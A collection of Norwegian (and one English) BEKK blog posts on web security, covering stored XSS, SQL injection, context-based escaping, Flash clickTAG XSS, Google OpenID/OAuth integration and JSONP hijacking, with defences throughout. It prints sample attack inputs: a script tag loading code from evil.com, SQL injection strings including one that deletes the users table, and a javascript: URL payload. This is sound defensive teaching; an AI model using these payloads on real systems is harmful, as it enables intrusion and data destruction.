Ved Stored XSS lagres den injiserte koden, og den vil presenteres for alle brukere som forespør denne informasjonen. For en angriper et er vanlig å se etter steder å injisere koden et sted der det er sannsynlig at mange brukere vil kjøre koden. Eksempler på dette er forumer, kommentarfelter elller liknende. Da vil den injiserte koden kjøres i nettleseren til alle brukere som aksesserer denne siden.

I motsetning til forrige eksempel er målet med dette angrepet å treffe alle brukerne av en nettside. I dette tilfellet har vi eksempelvis et kommentarfelt der input fra brukeren ikke valideres eller escapes.

Angriperen kan skrive inn følgende i kommentarfeltet:

<script src="http://evil.com/evil.js"></script>

Hvis dette ikke valideres eller escapes vil det skrives tilbake til alle brukere og scriptet vil kjøres i nettleseren for alle brukere av siden som kan se kommentaren.

Hvordan unngå XSS-angrep?

Det beste tipset er å bruke webrammeverket sin innebygde mekanisme for å escape alt dynamisk innhold som vises til brukeren.

Man unngår problemet ved å escape input riktig i forhold til konteksten der data skrives ut. Artikkelen Cross Site Scripting prevention cheat sheet definerer åtte forskjellige kontekster, som hver må escapes på sin måte. Input må for eksempel escapes på forskjellige måte avhengig av om den skal skrives ut som en del av et html-atributt, mellom html-attributter, som en del av en url eller som innhold i en JavaScript variabel.

Husk at disse reglene også gjelder når man gjør endringer i siden med JavaScript (f.eks. med jQuery).

Ikke sett inn data utenfor tillatte lokasjoner.
Ikke sett inn data du ikke stoler på direkte i script, HTML-kommentarer, attributtnavn eller tagnavn.

Bruk HTML-encoding når data legges inn mellom HTML-tagger
For eksempel bør følgende tegn erstattes:

& --> & < --> < > --> > " --> " ' --> ' / --> /

Bruk HTML-attributt-encoding når data skrives i HTML-attributter

Bruk JavaScript-escaping når data skrives som innhold i JavaScript strenger (alle ikke-alfanumeriske tegn escapes med hex- eller unicode-escaping)

Bruk CSS-escaping når data skrives som innhold i CSS

Bruk URL-escaping når data skrives som en del av en URL

Da de fleste webrammeverks innebygde mekanisme for å escape innhold ikke nødvendigvis har støtte for alle de nevnte kontekstene bør dette undersøkes. I de kontekstene der det ikke er støtte bør man velge andre måter å escape på. Det finnes biblioteker som kan hjelpe med escaping i de fleste av de nevnte tilfellene, som for eksempel OWASP ESAPI.

String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) );

Ressurser

http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

SQL-injection

Rune Walsø Nergård — Thu, 03 Mar 2011 08:05:54 +0000

Hvis man tar en titt på OWASP Top 10 2010, som ifølge OWASP var de mest kritiske sikkerhetsrisikoene i webapplikasjoner i år 2010, finner man injeksjonsangrep på toppen. Dette skyldes at injeksjonsårbarheter dessverre fortsatt er vanlig å finne i webapplikasjoner. I tillegg er de er ofte enkle å utnytte og et vellykket injeksjonsangrep kan ha alvorlige konsekvenser. Blant injeksjonsangrepene er SQL-injection det mest utbredte.

Hva er SQL-injection?

SQL-injection er angrep som utnytter metategn i SQL (for eksempel ' # --) ved at uhåndterte metategn blir en del av SQL spørringen. Måten en angriper kan utføre et SQL-injection angrep på er å endre eksisterende eller generere nye databasespørringer ved å eksperimentere med ulike input til webapplikasjonen. Dette kan for eksempel være via påloggings- eller kommentarfelter. SQL-injection angrep vil lykkes i de tilfellene applikasjonen bygger SQL-spørringer basert på tekstinput fra brukeren, og sender spørringene til databasetjeneren uten å håndtere metategn. Metategn er altså tegn som har en spesiell betydning for databasetjeneren. Hvis en angriper lykkes med å infisere en SQL-spørring med slike metategn, kan det føre til at angriperen får mulighet til å lese, endre og/eller slette data han/hun ikke er autorisert for. SQL-injection angrep kan også benyttes i forsøk på å omgå autentiseringsmekansimer. For å unngå slike sårbarheter er det viktig at webarkitekter, utviklere og testere er kjent med SQL-injection og hvordan man kan hindre slike angrep fra å lykkes.

Hvordan utføres SQL-injection?

La oss se på et påloggingsskjema som eksempel, der brukeren av systemet må oppgi brukernavn og passord for å få tilgang til applikasjonen. Java-koden som plukker opp påloggingsinformasjonen og utfører spørringen mot databasen kan for eksempel se slik ut:
String name = request.getParameter("username"); String pwd= request.getParameter("password"); query = "SELECT * FROM users WHERE username='" + name +"' AND password='" + pwd + "'";
I eksemplet ovenfor vil programmet hente brukernavn og passord fra input parameterne, bygge en SQL-spørring og etterhvert sende spørringen til databasen. Så hvis brukeren skriver inn “James” som brukernavn og “test123″ som passord vil spørringen se slik ut:
SELECT * FROM users WHERE username='James' AND password='test123';
Denne spørringen vil kjøre uten feil. Men hva skjer hvis vi forsøker med “James O’Connor” som brukernavn? Hvis ikke systemet håndterer metategn vil man få en feilmelding når denne spørringen kjøres i databasen. Grunnen til at dette feiler er at anførselstegnet som er en del av brukernavnet forveksles med anførselstegnene som markerer start og slutt for strenger i SQL. Med andre ord så vil en slik feilmelding gi en indikasjon på at systemet ikke håndterer metategn og dermed er sårbart for SQL-injection. Dette vil sannsynligvis motivere en angriper til å forsøke et SQL-injection angrep.

En måte å utføre et SQL-injection angrep på er å benytte --, som er kommentartegn i mange dialekter av SQL. Hvis man for eksempel benytter James' -- som brukernavn og lar passordfeltet være tomt, vil spørringen bli seende slik ut:
SELECT * FROM users WHERE username='James' --' AND password='';
Hvis James eksisterer som et brukernavn i databasen vil man kunne logge inn med dette brukernavnet uten å oppgi tilhørende passord. Her bruker man altså SQL-metategnene for å avslutte en streng og kommentering til å fjerne passordsjekken.

En annen måte å utføre et SQL-injection angrep på er å benytte noe som alltid evaluerer til “true”:
SELECT * FROM users WHERE username='' OR '1'='1' AND Password='' OR '1'='1';
I dette eksempelet har man skrevet inn ' OR '1'='1' som brukernavn og passord.

Hvis man har litt kjennskap til den bakenforliggende databasestrukturen kan man slette innhold i databasen ved og for eksempel benytte '; DELETE FROM users-- som brukernavn. Den nøstede spørringen som vil kjøres i databasen i dette tilfellet vil slette alt innhold fra brukertabellen og er vist i det etterfølgende eksemplet.
SELECT * FROM users WHERE username=''; DELETE FROM users--' AND PASSWORD='';

Hvordan unngå SQL-injection?

Til tross for at det er veldig enkelt å beskytte seg mot nettopp SQL-injection finnes det mange sårbare applikasjoner der ute. For å unngå slike sårbarheter har utviklere to valg; enten slutte å skrive dynamiske spørringer eller å hindre input fra brukeren som inneholder ondsinnet SQL fra å endre logikken i spørringen. Vi skal nå se på to mulige måter å beskytte seg mot SQL-injection angrep.

Parameteriserte spørringer

Parameteriserte spørringer er enkle å skrive, lett å forstå og er måten utviklere bør skrive databasespørringer på. Hvis man benytter parameteriserte spørringer vil rammeverket håndtere escaping ved å hindre at inputstrenger blir tolket som SQL metategn.

Under følger et kodeeksempel som bruker PreparedStatement, som er Java sin implementasjon av parameteriserte spørringer.
String username = request.getParameter("userName"); String query = "SELECT * FROM users WHERE username= ?"; PreparedStatement statement = connection.prepareStatement( query ); statement.setString( 1, username); ResultSet results = statement.executeQuery( );

Her tvinger bruken av parameteriserte spørringer utvikleren til å definere SQL-spørringene først, og deretter gi inn parametrene i etterkant. Ved å skille mellom kode og inputdata på denne måten hindrer man dermed databasespørringen fra å utøre operasjoner den ikke var tiltenkt i utgangspunktet. Hvis for eksempel en angriper førsøker å skrive inn james' or '1'='1' som brukernavn, vil spørringen lete etter et brukernavn som samsvarer med hele denne strengen.

Hibernate Query Language (HQL) har også de samme injeksjonsproblemene. Dette er på grunn av at HQL er en delmengde av SQL, og dermed tilbyr SQL-lignende spørringer. Heldigvis støtter også HQL parameteriserte spørringer, slik at man kan unngå disse problemene.
Query safeHQLQuery = session.createQuery("from Address where streetName=:street"); safeHQLQuery.setParameter("street", userSuppliedParameter);
Under følger et eksempel på bruk av parameteriserte spørringer i C# .NET. I dette eksemplet er det benyttet OleDbCommand(), men man kan bruke SqlCommand() på tilsvarende måte.
String query = "SELECT * FROM users WHERE username= ?"; try { OleDbCommand command = new OleDbCommand(query, connection); command.Parameters.Add(new OleDbParameter("userName", UserName Name.Text)); OleDbDataReader reader = command.ExecuteReader(); } catch (OleDbException se) { // error handling }

Selv om eksemplene ovenfor tilhører Java og C# .NET, støtter også andre språk parameteriserte spørringer. Hvis man for eksempel ønsker å lese om hvordan man kan benytte parameteriserte spørringer i PHP, kan man lese mer om dette her: http://www.php.net/manual/en/pdo.prepared-statements.php.

Oppfordringen er altså å benytte parameteriserte spørringer som løsning på SQL-injection problemet, men hvis man absolutt ikke kan benytte seg av dette kan man gjøre output escaping.

Output escaping

SQL-injection er mulig når data flytter seg over fra èn kontekst til en annen. Dette kan for eksempel være overgangen fra javakode til SQL. Her vi må være oppmerksomme og sørge for at datastrengen vi for eksempel skal sette inn i SQL-spørringen forblir en streng. Vi ønsker å hindre at tegn i tekststrengen tolkes som SQL metategn som da kan endre den tiltenkte oppførselen til spørringen, og dette kan også løses med output escaping. Output escaping er spesielt viktig å gjøre dersom man ikke tenker å benytte seg av parameteriserte spørringer. Som tidligere presisert, hvis man benytter seg av parameteriserte spørringer vil rammeverket håndtere escaping av metategn for oss. Man skal ha gode grunner for å bruke output encoding fremfor parameteriserte spørringer, men slike tilfeller kan for eksempel oppstå når man jobber med legacy kode og en omskrivning fra dynamiske spørringer til parameteriserte spørringer vil bli for kostbart. Applikasjoner som bygges fra grunnen av bør derimot benytte parameteriserte spørringer.

For Java kan man ta en titt på encoderen i ESAPI (OWASP Enterprise Security API). Man kan også lese om output escaping og ESAPI i OWASP SQL Injection Prevention Cheat Sheet .

Blogpostserie om sikkerhet

Jøran Vagnby Lillesand — Thu, 03 Mar 2011 07:00:29 +0000

De kommende månedene legger vi i BEKKs sikkerhetsgruppe ut en serie innlegg om sikkerhet i webapplikasjoner. Postene vil først forklare en rekke sårbarheter og hvordan angripere går frem for å misbruke dem, før de gir en beskrivelse av hvordan man løser problemene i vanlige rammeverk. Serien vil være praktisk rettet og ha fokus både på tradisjonelle, velkjente sårbarheter i tillegg til nyere, mer ukjente angrep.

Først ute er den gamle klassikeren SQL-injection. Følg med her på BEKK Open for mer!

Riktig beskyttelse mot Cross Site Scripting- og SQL-injection-angrep

Erlend Oftedal — Fri, 25 Jun 2010 12:11:49 +0000

De siste årene har vi sett flere massive SQL-injection- og Cross Site Scripting (XSS)-angrep mot store siter. Twitter hadde nylig en XSS-feil og i begynnelsen av juni var det et stort angrep mot siter som kjørte en bestemt annonsekomponent. Beskyttelse mot denne type angrep, krever at man tenker på kontekst når man skriver kode.

Validering av input er ikke løsningen
Tidligere snakket man ofte om at manglende validering av input var årsaken til disse feilene. Dette er dessverre ikke riktig. Validering av input handler om å sjekke at input er riktig i forhold til domenet. Dette vil riktignok stoppe mange angrep, men på langt nær alle. Et godt eksempel er navnet “Ken-Martin O’Conner”. Dette etternavnet inneholder flere tegn som også er kontrolltegn i SQL. For å kunne godta dette navnet må man ved validering av input godta både bindestrek og fnutter. Dermed vil man også tillate et angrep som ' OR '' LIKE '' --. Man kan selvsagt forsøke å gjøre valideringen enda strengere, men man risikerer kjapt å avvise gyldig input.

Jeg sier ikke at validering av input er unødvendig – det er bare ikke løsningen på dette problemet.

Kontekst og escaping
Problemet ved både XSS- og SQL-injection-feil er at data flyter fra en kontekst og over i en annen. Ved overgang fra f.eks. javakode til SQL, må vi sørge for at vi beholder semantikken. Skal vi sette inn en datastreng i en SQL-spørring, må vi sørge for at det forblir en streng. Dette gjør vi ved å foreta output escaping. For SQL er løsningen enkelt og greit å ta i bruk parameteriserte spørringer (prepared statements). Bruker vi prepared statements og gir inn parametrene i etterkant, vil rammeverket håndtere escaping av kontrolltegn for oss.

For XSS er det desverre noe vanskeligere. Når data forlater vår applikasjon og går over til noe browseren skal tolke, er det nemlig flere mulige kontekster. Vi kan skrive ut innhold i javascript, javascript i HTML, mellom HTML-tagger, i HTML-attributter osv. Og flere av disse kontekstene må behandles forskjellig. Vi kan begynne med input som skrives ut mellom HTML-tagger. Dette er den enkleste konteksten. Vi kan bruke dette eksempelet:

Du søkte på "her kommer inputten"

For å hindre kjøring av script her, må vi sørge for at input ikke kan åpne nye tagger, f.eks. en ... ...
Her er det kanskje lett å tenke at det holder å legge til en backslash forann eventuelle enkle fnutter (' blir til \'), men vi må huske at vi er i en såkalt dobbel-kontekst: Javascript-kontekst inni en HTML-kontekst. Vi må derfor også passe oss for HTML-tegn. Her er et eksempel på hvorfor man må escape for begge kontekster.
For mer informasjon om de forskjellige XSS-kontekstene, se OWASP XSS Prevention Cheat Sheet. For .NET finnes det et bibliotek kalt Web Protection Library. Dette biblioteket har en komponent som heter AntiXSS, som kan escape for forskjellige kontekster. For Java kan man f.eks. benytte encoderen i ESAPI. Oppsummert Beskyttelese mot disse angrepene må gjøres med kontekstbasert escaping idet vi bytter fra en kontekst til en annen.
Cross Site Scripting i flash Erlend Oftedal — Tue, 09 Feb 2010 13:49:01 +0000 Det har vært en del skriverier om sikkerhetsfeil i flash filer i det siste, f.eks. “Serious web vuln found in 8 million Flash files” og “XSS vulnerabilities in 34 millions flash files”. Det viser seg at dette ikke er et nytt problem, men snarere ett man ikke har fokusert på tidligere. Og her snakker vi da om feil i selve filene, ikke sikkerhetshull i selve flash-avspilleren. XSS i flash? Problemene oppstår stort sett fordi flash-filmen tar inn parametere fra HTML/javascript. Disse parametrene brukes deretter uten å valideres først. Det kanskje vanligste eksempelet er at man ønsker å gjøre det enkelt å endre hvor brukeren skal sendes til når brukeren klikker på flashen. Dette kalles gjerne clickTag, og koden i selve flashen kan se slik ut: on (release) { getURL (_root.clickTAG, "_blank"); } Problemet med dette oppstår fordi man kan linke direkte til flash-filen og gi inn parametere som url-parametere slik: http://url/til/flash-fil.swf?clickTAG=http://her/skal/brukeren I et angrep, kan dette utnyttes slik: http://url/til/flash-fil.swf?clickTAG=javascript:alert("xss") Man kan altså spesifisere en “javascript:” url, og dermed vil javascriptet kjøres nå brukeren trykker på linken. Denne URLen kan så spres til potensielle offer via f.eks. falske eposter, twitter eller instant messaging. Siden URLen peker på et domene man stoler på, er det større sjanse for at offeret klikker på linken, men det vil selvsagt også avhenge av både av innholdet i flash og epost/melding. Hva kan jeg gjøre? For å hindre denne typen angrep, bør man gjøre inputvalidering på de data man tar inn. En første idé er kanskje at man skal sjekke at URLen ikke starter med “javascript:”, men denne formen for blacklisting har flere problemer. For det første kan det skrives på mange måter (javascript, JAVASCRIPT, jaVaScriPT), og i tillegg kan man f.eks. ha mellomrom først (” javascript:”). Videre kan man også ha f.eks. data URLer og Flash sin egen “asfunction:”. Det er derfor bedre å bruke whitelisting, og heller si hva man tillater URLene å starte med. På Adobes “Designer’s Guide: Building Macromedia Flash Banners with Tracking Capabilities” foreslås følgende kode: on (release) { if (_root.clickTAG.substr(0,5) == "http:") { getURL(_root.clickTAG, "_blank"); } } Denne tillater kun URLer som begynner med “http:”. Man kan utvide denne til å støtte flere typer, f.eks. slik: on (release) { if (_root.clickTAG.substring(0,5)== "http:" || _root.clickTAG.substring(0,6)== "https:" || _root.clickTAG.substring(0,1)== "/") { getURL (_root.clickTAG, "_blank"); } } Denne støtter både http, https og server-relative URLer (må begynne med slash). I de fleste tilfeller bør man gjøre dette enda strengere, ved å kun tillate URLer som peker på eget domene. Jeg vil lære mer Adobes guide – creating secure flash apps A Lazy Pen Tester’s Guide to Testing Flash Applications OWASP Flash Security Project Video av “Blinded by flash” (slides) – Prajakta Jagdale – Blackhat DC 2009 Neat, New, and Ridiculous Flash Hacks – Mike Bailey – Blackhat DC 2010 GMail and Google Calendar with OpenID and OAuth Aslak Hellesøy — Fri, 18 Dec 2009 09:34:58 +0000 Have you ever wondered how you can display email and calendar events from Google in your own web site? Or how you can log in to your site using your Google account? Both staff and students at Norwegian School of Information Technology (NITH) use GMail and Google Calendar for internal communication. They hired BEKK to implement a new web site and intranet application. One of the features they wanted was GMail and Google Calendar integrated into their intranet, with a custom visual styling. To achieve this we decided to use Google’s OpenID+OAuth hybrid protocol – a draft specification proposed by Google. OpenID is an open standard for web site authentication. An OpenID consumer web site (for example an intranet or a wiki) can delegate user authentication to a centralised OpenID provider web site (for example MyOpenID.com or Google). This means less usernames and passwords to remember for end-users and single-sign-on (SSO) becomes easy to implement. OAuth is an open standard for web site authorisation. This lets an OAuth consumer web site send and retrieve private information to/from an OAuth provider web site on behalf of an end-user. NITH was kind enough to let us share some of the code we developed for them to illustrate how all of this works. The result is a simple web application that you can try out with your own Google account. The source code is available under the MIT license and you can download it from GitHub. Both the sample application and the NITH.no site are hosted on Heroku, a top-notch hosting provider for Ruby on Rails running on top of Amazon’s EC2 cloud. The applications are written in Ruby on Rails, but you can easily implement similar functionality on other platforms such as JEE, .NET, PHP etc using freely available OpenID and OAuth libraries. Let’s first look at the user workflow. (The workflow illustrated here is a slight modification of how NITH’s intranet works). 1) The user follows the Login link on the front page of the consumer application. 2) The user is redirected to Google’s login page and logs in (OpenID authentication). 3) The user authorises the Intranet application to access GMail and Google Calendar (OAuth). 4) The user is redirected back to the consumer application which displays GMail and Google Calendar. If the user checks the “remember me” checkboxes, step 2 and 3 will be skipped in the future. If you want to implement a similar integration with Google in your own application, here are the main steps: Register your domain at Google Google’s OAuth service requires any OAuth consumer to be pre-registered before it can use the service. To do this, go to Google’s Domain registration page and register information about your site. You only have to register the domain name. Google will then provide you with a static HTML file that you must serve from your domain. When you have uploaded this HTML file, click “verify domain” on Google’s registration page. Use your OAuth consumer secret When you register your domain with Google, you will also be given an OAuth consumer secret (a simple String token) that your consumer application must use when connecting to Google. This consumer secret is bound to the domain name, so it cannot be used from any other host, including localhost. Find an OpenID library that supports Google’s OpenID+OAuth hybrid protocol This is the hardest part. The natural choice for a Rails application using OpenID is to use the “official” ruby-openid library. However, this library doesn’t support the hybrid protocol, so we had to use Aslak’s fork of Pelle Braendgaard’s ruby-openid fork. We also had to use Pelle’s slightly modified fork of Rails’ open_id_authentication library. Until the OpenID+OAuth hybrid protocol becomes an official extension to the OpenID protocol you will not find support for it in all OpenID libraries, but they are all open source – so you have the freedom to add this yourself. Open source wins again. Summing up OpenID and OAuth are supported by an increasing number of libraries and web sites. Google is by no means the only site supporting the protocols (and to be honest – Google’s implementation deviates a little from the standard). If you are considering implementing some kind of single sign on we recommend you consider these protocols. JSON, AJAX og sikkerhet Erlend Oftedal — Wed, 14 Oct 2009 04:12:39 +0000 Bruk av JSON, og da spesielt JSONp, innfører noen sikkerhetsproblemer dersom vi ikke bruker det riktig. Posten JSON-ressurser og eksempel JavaScript-kode beskrev hvordan man kan bruke JSON som dataformat når man laster inn data via javascript, og nederst i artikkelen ble det gitt en advarsel i forhold til sikkerhet. Dersom man bruker JSONp (“JSON with padding” – et JSON script som inneholder en callback funksjon) med dynamiske script tagger (script-tagger legges inn i DOM av javascript), må man passe seg når man overfører sensitive data som krever autentisering. Cross domain policy – reddende engel eller fiende? Alle de vanligste browserne implementerer en policy for kjøring av javascript kalt Cross Domain Policy. Cross domain policy sier bl.a. at javascript i et vindu kun kan lese innhold i andre vinduer/tabber/frames/iframes dersom innholdet i begge vinduer kommer fra samme server og er overført over samme protokoll. For å kunne kommunisere må altså begge URLer ha samme hostnavn, samme portnummer og begge enten benytte http eller https. Man kan overstyre hostnavn-restriksjonen til å gjelde domene ved å sette document.domain i begge vinduer. Denne policyen gjelder også for AJAX-kall (XmlHttpRequest), der den sier at man kun kan gjøre AJAX-kall tilbake til samme hostnavn, port og over samme protokoll. Dette vil riktignok bli endret i nyere versjoner av f.eks. Firefox og IE8, der man vil tillate AJAX-kall innenfor samme domene (XDomainRequest). Mange frustrere utviklere har slitt med Cross Domain Policy, men det er en svært god grunn til at den er der. Uten den ville internett vært et svært utrygt sted. Dersom man hadde besøkt en hacket side, kunne denne siden opprettet en iframe til f.eks. gmail og lest din mail via javascript. Cross Domain Policy hindrer dette, og den eneste muligheten en hacker har til å komme rundt denne policy er å utnytte såkalte Cross Site Scripting (XSS)-hull i applikasjonen (og det har du vel ikke?). Ved å legge inn dynamiske script tagger som igjen kaller en callback på egen side, omgår man Cross Domain Policyen, og dette er det viktig å være klar over. Man lar et script fra et domene påvirke innholdet i siden på et annet domene direkte i browseren. Det er umulig å styre hva dette skriptet gjør, så man bør tenke seg om før man legger inn en script-tag til et domene man ikke selv eier. JSONp hijacking Hvorfor er dette farlig? La oss tenke oss at vi har en side (http://eksempel/transactionlist) som laster inn sensitive data via JSONp eller AJAX-kall (http://eksempel/transactions/json) og kaller en callback funksjon: showTransactions({ ... json data ... }) Selve JSON innholdet på http://eksempel/transactions/json krever at brukeren er autentisert. Brukeren logger seg inn på http://eksempel/transactionlist, og får en autentiserings-cookie (f.eks. sesjonsID) i browseren. Siden det er en cookie, vil browseren automatisk sende denne med for hvert AJAX eller JSONp kall til URLer som begynner med http://eksempel/ Selve siden vår, http://eksempel/transactionlist, kan f.eks. se slik ut: ... ... For å utnytte dette, kan en hacker opprette en egen side som definerer den samme callback-funksjonen: ... ... Når hackeren nå legger inn en script tag som peker til vår server, vil browseren forsøke å laste innholdet. Dersom den klarer det, vil den kjøre callbacken med innholdet, og innholdet vil bli stjålet. Hvis hackeren nå klarer å lure oss til å besøke siden hans, og vi er logget inn på vår originale side (noe vi ofte er når vi kjører browsere med mange faner), vil innholdet vårt bli stjålet. Dette er en form for Cross Site Request Forgery (XSRF). Hvordan kan jeg beskytte meg? Dersom man ønsker å bruke JSONp, men laster den fra egen server, er det enkelt å beskytte seg. I stedenfor å laste JSON innholdet via en dynamisk script-tag, kan vi laste det via AJAX (XmlHttpRequest). Først i hver json-respons legger vi inn f.eks. et kommentartegn, ugyldig kode, eller kode som kjører uendelig lenge. Google benytter f.eks. while(1);. Dette kan vi bruke slik: while(1); showTransactions({ ... json data ... }) Når vi får tilbake resultatet fra AJAX-kallet, fjerner vi første linje, og kjører så resten. Dersom en hacker igjen forsøker å stjele innholdet, har han ingen mulighet til å fjerne while(1)-linjen. Når man bruker script-tagger, som hackeren må gjøre for å omgå Cross Domain Policy, har man ikke mulighet til å endre innholdet før det kjøres. Scriptet kjøres direkte med en gang det er lastet, og det er ikke mulig å lese ut hva som egentlig var innholdet i scriptet som ble lastet inn. Oppsummert Bruk kun JSONp med dynamiske script-tagger til data som ikke krever autentisering eller data som ikke er spesielt sensitive. Dersom du skal bruke JSONp for denne typen innhold, må du sørge for å beskytte det og heller laste det via XmlHttpRequest (AJAX).

Autentiseringstype	Brukertype	Løsning
Form	I SQL-database	Benytt løsning for håndtering av databasetilgang gitt ovenfor. Home free!
Form	Windows-bruker	Ikke trivielt. Se ADFS-basert løsning nedenfor
Basic	I SQL-database	Basic authentication støttes av Web roles. Samme som Form+SQL-database over.
Basic	Windows-bruker	Ikke trivielt. Se ADFS-basert løsning nedenfor
Windows integrated authentication	Windows-bruker	Ikke trivielt. Se ADFS-basert løsning nedenfor